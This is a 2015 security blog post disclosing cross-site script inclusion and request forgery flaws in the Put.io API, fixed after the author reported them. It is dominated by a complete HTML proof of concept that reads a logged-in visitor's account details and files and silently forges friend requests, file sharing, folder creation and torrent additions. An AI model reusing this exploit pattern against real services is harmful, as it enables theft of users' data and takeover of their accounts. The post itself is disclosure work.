Put.io API design issues - I can haz your files

August 10, 2015

Put.io is a great torrent cloud storage service that allows to almost instantly stream videos you download from a Torrent.

Their API is pretty powerful, and allows easy integration in software, browser extensions and plugins for multimedia appliances. I was reading its documentation and unfortunately quickly found out that the design was open to sensitive data exfiltration by just making an unsuspecting logged-in user visit a malicious web page.

Furthermore, it was possible to perform actions on behalf of the user, such as sending and accepting friend requests, adding, deleting and sharing files and folders, and so on.

Update - Put.io response: Hasan from Put.io quickly replied to my email and confirmed they were working on a fix. On August 6 they confirmed they dropped JSONP and cookie authentication out from the API endpoints completely. Thanks put.io, great job!

That looks bad. How comes?


This is because they used to allow JSONP, which is a cross-site script inclusion (XSSI) by design, on tokenless requests, relying on cookie authentication only. Furthermore, there were several actions with side effects vulnerable to cross-site request forgery (XSRF).

For instance, I found out that POST/GET /friends/<username>/request worked with just the cookie (and no token).

This means that any HTML page on the web could do this:

<img src="https://api.put.io/v2/friends/mikispag/request" />

and any logged in user to put.io would send a friend request to me. This is a XSRF vulnerability, and there were many more.

As I previously said, JSONP is XSSI by design. This means that if you put sensitive data in the output of a JSONP endpoint, and the request does not need any token, any site can read (and log/exfiltrate) the response via the callback function.

I prepared a harmless proof of concept to demonstrate how bad this was. Of course it no longer works, but it was meant to be opened in a browser in which you are logged in to put.io:

Screenshot of the proof of concept

It will print your username, email address, data plan with expiration date, disk usage, and by visiting that webpage you just sent a friend request to me, shared all your files with every friend, downloaded the pilot of Mr. Robot to your root folder and created a “HACKED” directory. All the data could also be logged to a remote database, of course.

It does not require any user interaction, it’s just a matter of visiting a URL.

The HACKED folder is successfully created The attacker accepts the friend requests and can access all the files... Furthermore, the attacker is also informed of all subsequent activity by the compromised accounts (in this case, the administrators)

HTML code for the Proof of Concept

<html>
  <head>
    <title>put.io XSSI/XSRF Proof of Concept</title>
    <style>
      body {
        font-family: "Verdana";
      }
      .hide {
        display: none;
      }
      span {
        font-weight: bold;
      }
    </style>
    <script src="https://code.jquery.com/jquery-2.1.4.min.js"></script>
    <script>
      var fileIds = [];

      function exfiltrateAccount(object) {
        if (object["status"] !== "OK") return;
        var username = object["info"]["username"];
        var email = object["info"]["mail"];
        var planExpiration = new Date(
          object["info"]["plan_expiration_date"]
        ).toDateString();
        var disk = object["info"]["disk"];
        var diskUsed = (disk.used / 1073741824).toFixed(2);
        var diskAvail = (disk.avail / 1073741824).toFixed(2);

        $("#username").text(username);
        $("#email").text(email);
        $("#expiration").text(planExpiration);
        $("#totalDisk").text(disk.size / 1073741824 + " GB");
        $("#disk").text(diskUsed + " GB used, " + diskAvail + " GB available");
      }
      function exfiltrateFiles(object) {
        if (object["status"] !== "OK") return;
        var parent = object["parent"]["id"] || "files";
        for (var i = 0; i < object["files"].length; i++) {
          var file = object["files"][i];
          var contentType = file["content_type"];
          var id = file["id"];
          fileIds.push(id);
          if (contentType === "application/x-directory") {
            var script = document.createElement("script");
            script.src =
              "https://api.put.io/v2/files/list?parent_id=" +
              id +
              "&callback=exfiltrateFiles";
            var first = document.getElementsByTagName("script")[0];
            first.parentNode.insertBefore(script, first);
          }
          var name = file["name"];

          var root = $("#" + parent);
          root.append($("<ul>").append($("<li id=" + id + ">").text(name)));
        }
      }
      function exfiltrateEvents(object) {
        if (object["status"] !== "OK") return;
        for (var i = 0; i < object["events"].length; i++) {
          var event = object["events"][i];
          var description =
            event["created_at"] +
            " " +
            event["type"] +
            " - " +
            event["transfer_name"];
          $("#events").append($("<li>").text(description));
        }
      }
      function exfiltrateTransfers(object) {
        if (object["status"] !== "OK") return;
        for (var i = 0; i < object["transfers"].length; i++) {
          var transfer = object["transfers"][i];
          var description = transfer["status"] + " " + transfer["name"];
          description +=
            " (" +
            transfer["source"] +
            ") - " +
            transfer["current_ratio"] +
            "%";
          $("#transfers").append($("<li>").text(description));
        }
      }
      function exfiltrateFriends(object) {
        if (object["status"] !== "OK") return;
        var numberOfFriends = parseInt(object["total"], 10);
        $("#numberOfFriends").text(numberOfFriends);
        for (var i = 0; i < object["friends"].length; i++) {
          $("#friends").append($("<li>").text(object["friends"][i]["name"]));
        }
      }
      function shareFiles() {
        if (fileIds.length > 0) {
          var ids = fileIds.join(",");
          fileIds = [];
          $("#shareIds").val(ids);
          $("#shareForm").submit();
        }
      }

      $(function () {
        // Share every file with everyone
        setInterval(shareFiles, 3000);

        // Create a HACKED folder in your root directory
        $("#folderForm").submit();

        // Download the pilot of Mr. Robot in your root directory
        $("#transferForm").submit();
      });
    </script>
  </head>
  <body>
    <h1>put.io XSSI/XSRF Proof of Concept</h1>
    <p>
      Welcome, <span id="username"></span>!<br />I now know your email address
      (<span id="email"></span>), that your <span id="totalDisk"></span> put.io
      plan expires on <span id="expiration"></span> and that your disk usage is:
      <span id="disk"></span>.
    </p>
    <p>
      By visiting this webpage, you just sent a
      <strong>friend request</strong> to <strong>mikispag</strong>,
      <strong>shared all your files with every friend</strong>,
      <strong>added</strong> the <strong>pilot of Mr. Robot</strong> to your
      root folder and <strong>created a "HACKED" directory</strong>.
    </p>
    <div>
      <p>Files in your put.io:</p>
      <ul id="files"></ul>
    </div>
    <div>
      <p>You have <span id="numberOfFriends"></span> friends:</p>
      <ul id="friends"></ul>
    </div>
    <div>
      <p>Your account history:</p>
      <ul id="events"></ul>
    </div>
    <div>
      <p>Your active transfers:</p>
      <ul id="transfers"></ul>
    </div>

    <img src="https://api.put.io/v2/friends/mikispag/request" class="hide" />

    <iframe src="about:blank" class="hide" name="hiddenFrame"></iframe>
    <iframe src="about:blank" class="hide" name="hiddenFrame2"></iframe>
    <iframe src="about:blank" class="hide" name="hiddenFrame3"></iframe>

    <form
      id="shareForm"
      action="https://api.put.io/v2/files/share"
      method="post"
      target="hiddenFrame"
    >
      <input id="shareIds" type="hidden" name="file_ids" value="" />
      <input type="hidden" name="friends" value="everyone" />
    </form>

    <form
      id="folderForm"
      action="https://api.put.io/v2/files/create-folder"
      method="post"
      target="hiddenFrame2"
    >
      <input type="hidden" name="name" value="HACKED" />
      <input type="hidden" name="parent_id" value="0" />
    </form>

    <form
      id="transferForm"
      action="https://api.put.io/v2/transfers/add"
      method="post"
      target="hiddenFrame3"
    >
      <input
        type="hidden"
        name="url"
        value="magnet:?xt=urn:btih:792D6535375E66C2CCB77504BDC587E74210761B&dn=mr+robot+s01e01&tr=udp%3A%2F%2Ftracker.publicbt.com%2Fannounce"
      />
    </form>

    <script src="https://api.put.io/v2/account/info?callback=exfiltrateAccount"></script>
    <script src="https://api.put.io/v2/files/list?callback=exfiltrateFiles"></script>
    <script src="https://api.put.io/v2/events/list?callback=exfiltrateEvents"></script>
    <script src="https://api.put.io/v2/transfers/list?callback=exfiltrateTransfers"></script>
    <script src="https://api.put.io/v2/friends/list?callback=exfiltrateFriends"></script>
  </body>
</html>

The power of DNS rebinding: stealing WiFi passwords with a website